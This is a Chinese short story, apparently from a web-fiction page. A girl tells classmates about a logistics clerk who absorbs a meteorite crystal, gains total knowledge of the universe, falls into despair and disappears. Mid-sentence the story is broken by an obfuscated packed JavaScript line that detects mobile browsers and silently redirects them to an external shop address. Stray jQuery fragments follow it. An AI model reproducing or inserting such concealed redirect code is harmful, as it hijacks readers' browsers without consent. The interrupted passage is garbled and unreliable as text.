阒篇最后一则宇宙的记忆
午后的阳光从窗户斜斜地照进教室。
那天天气很好，天空呈现出一种少见的澄澈蓝色，几乎看不到云。刚结束午休，几个同学没有立刻回到自己的座位，而是趴在窗边聊天。西西抬头看了一会儿天空，忽然问：“你们晚上能看到北斗七星吗？”
“当然能啊。”
“你知道北斗七星在哪里？”
“知道啊，就是那个勺子。”
“那是星座吗？”
“不是吧？”
“那它是什么？”
几个孩子立刻争论起来。有人说北斗七星就是一个星座，有人说它其实属于大熊座，还有人煞有介事地说，自己小时候在乡下住过一段时间，晚上抬头就能看到满天的星星，甚至能看见银河。
“那太阳算不算星星？”
不知道是谁忽然问了一句。
“当然算。”
“那月亮呢？”
“月亮不是星星。”
“为什么？”
“因为月亮不会自己发光，是太阳帮它发光的。”
“那太阳也不会跑啊。”
“太阳当然会跑。”
“它跑到哪里？”
几个孩子一下笑了起来。
他们很快又从太阳聊到了地球，从地球聊到了月亮，又聊到了火星、木星和土星。有人说自己最喜欢土星，因为它有漂亮的光环；有人说火星上一定存在生命；还有人认真地数起太阳系究竟有多少颗行星。
“八颗。”
“冥王星呢？”
“冥王星已经不是行星了。”
“为什么？”
“因为科学家说它不够资格。”
“那它一定很伤心。”
西西说完，自己先笑了起来。
里奈一直坐在旁边听着，没有插话。
她看着那些孩子因为一颗星星、一颗行星争论得面红耳赤，过了一会儿，忽然问：“你们有没有想过一件事情？”
大家回过头。
“什么？”
“我们为什么能够知道这些？”
“因为科学家告诉我们的啊。”
“那科学家呢？”
“他们观察。”
“用望远镜？”
“对。”
里奈点点头。
“那如果有一天，有一个人不需要望远镜，也不需要宇宙飞船，就知道宇宙里所有的事情呢？”
教室里安静了一瞬。
“所有的事情？”
“嗯。”
“连外星人都知道？”
“知道。”
“宇宙怎么来的也知道？”
“知道。”
西西睁大了眼睛：“那他一定是世界上最聪明的人。”
里奈没有回答。
“也许吧。”
她抬起头，看了一眼窗外那片没有云的天空。
“可是，如果一个人真的知道了宇宙的一切……”
她停顿了一会儿。
“你觉得，他会开心吗？”
没有人回答。
里奈轻轻合上故事本，又重新打开。
“我给你们讲一个故事。”
“一个关于宇宙的故事。”
＊＊＊
2030年12月25日，一颗直径不到三十厘米的小型陨石穿过大气层，坠落在北半球一座并不繁华的城市郊外。
那天恰好是圣诞节。
街道上的商店挂着彩灯，广场中央立着巨大的圣诞树，人们正在和家人吃晚餐，因此没有多少人注意到天空中那道短暂得近乎可以忽略的光。
陨石坠落在一片废弃的工业区，没有造成任何人员伤亡。第二天清晨，附近的清洁工发现了一个被砸出来的小坑，随后有人拍下照片发到网上。新闻网站用了不到半天时间，便将它归类为一次普通的陨石坠落事件。
没有人知道，那颗陨石内部藏着一样东西。
一种极其微小的晶体。
它没有人类熟悉的细胞结构，也无法被简单归类为动物、植物、细菌或者病毒。它更像某种介于生命与物质之间的东西，透明而锋利，在阳光下偶尔折射出极其微弱的蓝色光芒。
陨石撞击地面时，晶体随着碎片散落出来。
其中一枚只有尘埃大小的晶体被风卷起，飘过一片废弃厂区，又随着车辆经过时产生的气流飘到街道上。
最后，它落在了一个男人的肩膀上。
那个男人叫周明远。
三十九岁，未婚，在一家物流公司做了十几年普通职员。他每天早上七点出门，晚上七八点回家，偶尔加班，周末也不一定能够休息。没有人认为他的生活有什么特别，他自己也没有这样的想法。
他的兴趣很少，最大的爱好是下班以后坐在沙发上看电视，偶尔买一罐啤酒，再给自己点一份并不健康的外卖。
他从来没有认真想过“宇宙”这个词。
对他而言，宇宙就是小时候自然课本上的星星，是电视纪录片里的黑洞，是新闻里偶尔出现的火星和月球。它很遥远，也很漂亮，但与一个每天为房租、工作和晚饭发愁的普通人没有多少关系。
那天晚上，他照常下班回家。
经过一条没有路灯的小巷时，他忽然觉得肩膀有一点痒。
他抬手拍了拍。
那枚晶体便随着他的手指，进入了皮肤。
他没有察觉。
＊＊＊
第二天早晨，周明远醒来的时候，第一件奇怪的事情是，他突然知道了一个数学问题的答案。
他甚至不知道自己为什么会想到这个问题。
他只是坐在床边穿鞋，脑子里忽然浮现出一串复杂的公式。
他盯着那些公式看了很久。
那是一道他大学时曾经在教材上见过的问题。
他记得自己当时完全看不懂。
可是现在，他不仅知道答案，还知道完整的推导过程。
周明远拿起纸和笔，把那些公式写下来。写完以后，他自己都愣住了。
“我什么时候学过这个？”
没有人回答。
他把纸揉成一团，扔进垃圾桶。
然后照常去上班。
可是奇怪的事情并没有停止。
上午开会的时候，他忽然发现自己能够看懂同事电脑上正在运行的一段复杂程序；午饭的时候，他在新闻里看到一种新型材料的介绍，脑子里竟然自动浮现出这种材料的分子结构；下午，他在仓库里看见一台机器，甚至能够准确说出其中某个零件所使用的材料，以及它为什么会在高温环境下出现损耗。
这些知识并不是他努力回忆起来的。
更像是它们原本就存在于他的脑子里，只是直到那一天才突然被打开。
最开始，他很害怕。
后来，他开始兴奋。
再后来，他觉得自己可能真的变聪明了。
他偷偷买了一本大学物理教材。
只用了两个晚上，他就全部看完。
第三天，他开始读研究生教材。
第五天，他已经能够理解一些普通大学教授需要花费多年时间才能掌握的理论。
第七天，他在纸上写出了一套新的数学模型。
那一天，他第一次意识到，自己身上发生的事情，可能已经不是“变聪明”那么简单了。
＊＊＊
最先发现周明远的人，是一名研究数学的年轻博士。
周明远把自己写出来的一部分公式匿名发到一个学术论坛上，原本只是想确认自己是不是疯了。没想到几个小时以后，那篇帖子突然被删除，第二天，他接到了一通陌生电话。
“您好，请问您是周先生吗？”
“是。”
“我们想和您谈谈您昨天发布的那组公式。”
周明远沉默了一下。
“你们是谁？”
“我们是一家研究机构。”
一周以后，他第一次接受了媒体采访。
记者坐在他对面，最开始还带着一种半信半疑的表情。可当周明远开始解释那些公式时，记者脸上的笑容逐渐消失了。
“周先生，您没有接受过系统的高等数学教育，对吗？”
“没有。”
“那么这些公式是您自己推导出来的吗？”
周明远看着桌上的纸。
“应该是。”
“您说‘应该’是什么意思？”
“我也不知道我是怎么知道的。”
节目播出以后，周明远突然出名了。
有人称他为“民间天才”，有人说他是几十年难遇的数学奇才，也有人怀疑他背后存在一个神秘团队。
周明远自己却没有那么在意。
因为就在媒体报道他的同时，他脑子里的知识还在增加。
而且越来越快。
数学之后是物理。
物理之后是化学。
化学之后是生物。
他开始理解蛋白质折叠，理解量子态，理解恒星内部的核聚变，也开始理解生命最初如何从简单的化学反应逐渐形成复杂结构。
大学邀请他去讲课。
一开始只是旁听，后来变成正式授课。
他站在大学礼堂里，对着几百名学生讲述某种理论时，学生们常常听得目瞪口呆，教授们则坐在下面认真记录。
有人问他：“您在哪里学习的这些知识？”
周明远沉默片刻。
“我不知道。”
“您总不能什么都不知道吧？”
周明远笑了笑。
“我是真的不知道。”
他没有告诉任何人。
因为连他自己都无法解释。
＊＊＊
政府很快也注意到了他。
有关部门邀请他参加了一次秘密会议。会议室里坐着几名科学家和官员，他们向他询问一些长期没有答案的问题。
周明远看了一眼他们递过来的资料。
“可以。”
“需要多久？”
“几个小时吧。”
会议室里安静下来。
后来，他真的做到了。
他解决了一些困扰科学界多年的问题，也提出了一些从未有人想到过的理论。
人们开始相信，他可能是这个时代最聪明的人。
政府希望他加入研究团队，大学希望长期聘请他，媒体希望继续采访，企业则希望购买他的研究成果。
甚至有人开始给他开出天价，希望他帮助他们研发新的技术。
周明远的生活发生了巨大的变化。
他搬进了一间宽敞的房子，有了自己的实验室，有了助手，也拥有了过去从未想象过的财富和名声。
他曾经以为，这就是一个人能够得到的最好生活。
可是就在所有人都认为他终于得到了自己想要的一切时，他开始变得越来越沉默。
因为那些知识还在增加。
而且已经开始超越人类能够理解的范围。
＊＊＊
一天凌晨三点，周明远坐在实验室里。
桌上摆着一张纸。
纸上画着一个生命。
它拥有类似细胞的结构，却没有细胞核；它能够通过某种未知方式吸收恒星辐射；它生活在距离地球数千光年的一颗行星上。
周明远盯着那张图看了很久。
他知道这个生物存在。
不仅知道它存在。
他甚至知道它们如何繁殖，如何交流，如何死亡。
他知道那颗星球上的海洋是什么颜色，知道那里的天空为什么呈现紫色，也知道那些生命已经存在了三十七亿年。
他甚至知道，在几千年前，那些生命曾经仰望过自己的天空。
它们也曾经思考过宇宙。
也曾经寻找过其他生命。
周明远放下笔。
他第一次感到害怕。
不是因为那些外星生命。
而是因为他突然意识到——
宇宙里有太多东西。
多到令人绝望。
他开始知道更多。
知道宇宙的年龄，知道某些星系的形成过程，知道黑洞内部可能存在什么，也知道所谓的“宇宙边界”究竟意味着什么。
他开始理解，人类所谓的四维时空只是极其有限的一种描述。
然后，他开始知道第五维。
第六维。
第七维。
越来越多。
越来越难以用人类的语言表达。
他曾经以为宇宙是一个巨大的空间。
后来才发现，空间本身也只是某种更高层结构的一部分。
而人类所谓的“现实”，不过是其中极其狭窄的一层。
＊＊＊
周明远开始失眠。
他的脑子已经无法停止。
他闭上眼睛时，仍然能够看见恒星诞生，能够看见星系碰撞，能够看见遥远行星上的生命从海洋中诞生，也能够看见某些文明兴起，然后消失。
有时候，他甚至会看见一些自己无法命名的存在穿过不同维度。
他开始画画。
墙壁上、地板上、桌子上，到处都是他的图画。
有人问他画的是什么。
他回答：
“宇宙。”
“哪一个宇宙？”
周明远沉默了一下。
“我不知道。”
他开始越来越少和人交流。
有一次，一名年轻研究员问他：“周先生，我们是不是有一天可以离开太阳系？”
周明远看着他。
“当然。”
“那您觉得人类什么时候能够做到？”
“如果技术持续发展下去，总有一天可以。”
年轻研究员兴奋起来。
“那太好了。”
周明远却没有笑。
“为什么？”
“什么？”
“为什么太好了？”
年轻研究员愣住了。
“因为我们可以去看看宇宙啊。”
周明远看着窗外。
很久以后，他才说：
“你看过宇宙以后，会怎么样？”
年轻研究员不知道怎么回答。
周明远也没有再说话。
＊＊＊
他的头开始疼。
一开始只是轻微的，后来越来越严重。
医生检查不出任何问题。
脑部扫描正常，血液正常，神经系统也正常，所有检查结果都显示，他的身体健康得不可思议。
可是周明远每天都在头痛。
有时候，他甚至会抱着头蹲在地上。
助手问他是不是应该去医院。
“没有用。”
“为什么？”
周明远看着他。
“因为我知道我的大脑发生了什么。”
“那到底是什么？”
周明远没有回答。
他的脑子里正在不断涌入新的知识。
越来越多。
越来越快。
仿佛有一个永远不会关闭的宇宙，正在往他的意识里倾倒。
他知道恒星如何死亡，知道生命如何诞生，知道文明如何毁灭，知道时间可能只是某种更高维度的投影，也知道所谓的“过去”和“未来”并没有人类想象得那么简单。
他甚至知道，在某些宇宙结构里，人类所谓的死亡并不是结束。
可知道这些以后，又有什么意义？
他不知道。
他突然发现，自己以前最喜欢的事情全都失去了意义。
吃饭没有意义。
工作没有意义。
金钱没有意义。
名声没有意义。
甚至活着本身，也没有意义。
他曾经觉得自己得到了宇宙的答案。
可答案越多，他越不知道自己为什么要
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17926023|213529||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
活着。
＊＊＊
后来，媒体又来找他。
记者坐在他对面，明显比第一次采访时更加谨慎。
因为所有人都已经发现，周明远变了。
他的头发乱了很多，脸也消瘦下来。
桌上摆满了各种纸张，有数学公式，有星系图，有无法辨认的生物结构，还有一些没有任何人见过的文字。
记者问：“周先生，您现在掌握的知识，是否已经超过了人类目前的科学水平？”
周明远点头。
“远远超过。”
“您是否已经知道宇宙的起源？”
“知道。”
记者的呼吸明显停了一下。
“那么，宇宙究竟是怎么诞生的？”
周明远没有立刻回答。
他看着镜头。
过了很久，他才说：“你们真的想知道吗？”
记者点头。
“当然。”
周明远笑了一下。
那是一个非常疲惫的笑。
“知道了也没有用。”
“为什么？”
“因为你们以为知道宇宙的起源，就等于理解宇宙。”
他揉了揉太阳穴。
“其实不是。”
“我们知道一加一等于二，就以为自己开始理解数学；知道恒星如何燃烧，就以为自己开始理解宇宙；知道生命如何诞生，就以为自己开始理解存在。”
他的声音越来越低。
“可是知识只是知识。”
“它不会告诉你为什么。”
记者问：“那么，人类继续探索宇宙还有意义吗？”
周明远闭上眼睛。
“没有。”
这两个字说得非常轻。
“人类想要理解宇宙，是徒劳的。”
记者愣住。
“星际旅行呢？”
周明远沉默了很久。
“也是徒劳的。”
“可是如果我们能够去往其他星球——”
“然后呢？”
他忽然抬起头。
“我们花几百年去另一颗星球，在那里建造城市，繁衍后代，研究新的生命，然后再花几千年去另一颗星球。”
“然后呢？”
记者没有回答。
周明远看着他。
“宇宙不会因为我们去了哪里而改变。”
“我们也不会因此知道自己为什么存在。”
他的手开始颤抖。
“人类总以为，只要走得足够远，就能找到答案。”
他捂住额头。
“可是没有答案。”
记者发现他的脸色越来越难看。
“您还好吗？”
周明远没有回答。
他的呼吸变得急促。
那些声音又来了。
恒星。
行星。
生命。
文明。
时间。
维度。
无数陌生的语言。
无数无法理解的结构。
它们同时涌进他的脑子。
他的头痛得几乎无法忍受。
可他忽然笑了。
“真奇怪。”
“什么？”
“我知道疼痛是什么。”
“我知道它只是神经信号。”
他低下头。
“所以它应该没有意义。”
他的眼角却慢慢流下眼泪。
“可是……”
他捂着自己的头。
“我还是很疼。”
采访到这里不得不中断。
这是周明远最后一次公开出现。
＊＊＊
几天以后，人们找不到他了。
他的手机关机，所有账户都没有动过。家里没有人，工作室也没有人。
警方进入工作室的时候，里面安静得异常。
没有打斗痕迹。
没有血迹。
没有遗书。
也没有任何能够证明他去了哪里的东西。
只有资料。
大量的资料。
墙壁上密密麻麻写满公式，桌面上堆着数不清的纸张，地板上画着巨大的星系，还有一些人类从未发现过的生命。
其中一幅画上，是一颗蓝色的星球。
画的旁边写着一个人类无法辨认的文字。
后来有人通过计算机分析，发现那个符号并不属于任何已知语言。
还有一些纸上写满了宇宙结构。
一层。
又一层。
无数空间像透明的薄片一样彼此重叠。
最里面是一颗很小的星星。
有人问：
“那是什么？”
没有人知道。
就在调查人员准备离开的时候，其中一个人忽然发现空气中有一些闪光。
非常微弱。
像灰尘。
可当阳光透过窗户照进来时，那些东西开始闪烁。
它们从桌面上飘起来。
从纸张之间飘起来。
从地板的缝隙里飘起来。
越来越多。
晶莹剔透。
像无数极其微小的水晶。
有人伸手去接。
一枚晶体落在掌心。
过了几秒。
它消失了。
没有留下任何痕迹。
工作室里只剩下一片细微的闪光。
像一场不会落地的雪。
＊＊＊
“所以，那个男人到底去哪儿了？”
西西的声音把大家从故事里拉了回来。
里奈已经合上了笔记本。
“没人知道。”
“他死了吗？”
“没人知道。”
“那些晶体是什么？”
“也没人知道。”
西西皱起眉头。
“那他是不是被外星人带走了？”
里奈笑了一下。
“故事没有告诉我们。”
几个孩子沉默下来。
窗外的阳光依旧很好。
刚才他们讨论过的那片天空，现在依旧安静地悬在那里。太阳正在西边缓慢移动，虽然肉眼看不见，却没有人怀疑它正在运动。
西西忽然想起了什么。
“那今天晚上能不能看到北斗七星？”
“如果天气好的话，应该可以。”
“我晚上一定要找找看。”
“我也要。”
几个孩子重新讨论起来，刚才那个令人有些压抑的故事仿佛已经被抛到了脑后。有人开始争论北斗七星究竟应该从哪里找，有人说回家以后要让爸爸教自己认星座，还有人开始猜测那些星星上是不是也存在着和人类一样的生命。
里奈没有加入他们。
她只是坐在那里，看着窗外的天空。
窗外的阳光落进教室，在桌面上留下一小片明亮的光。
没有人知道，在遥远得无法想象的地方，有多少颗恒星正在燃烧，有多少生命正在出生，有多少文明正在消失。
也许宇宙从来没有等待过人类去理解它。
也许那些我们称作知识的东西，不过是一个生命偶然触碰到宇宙表面时留下的一点痕迹。
而那个男人最后究竟去了哪里，也许没有答案。
又或者——
答案一直都在那里。
只是人类还没有想起来。
上课铃响了。
孩子们回到各自的座位，老师从门口走进教室。没有人再谈论那个失踪的男人，也没有人继续讨论那些无法理解的维度。
只有里奈在老师转身写字的时候，抬头看了一眼窗外。
空气中似乎闪过了一点极其细小的光。
像尘埃。
又像星星。
她眨了眨眼。
那一点光已经消失了。
——阒篇完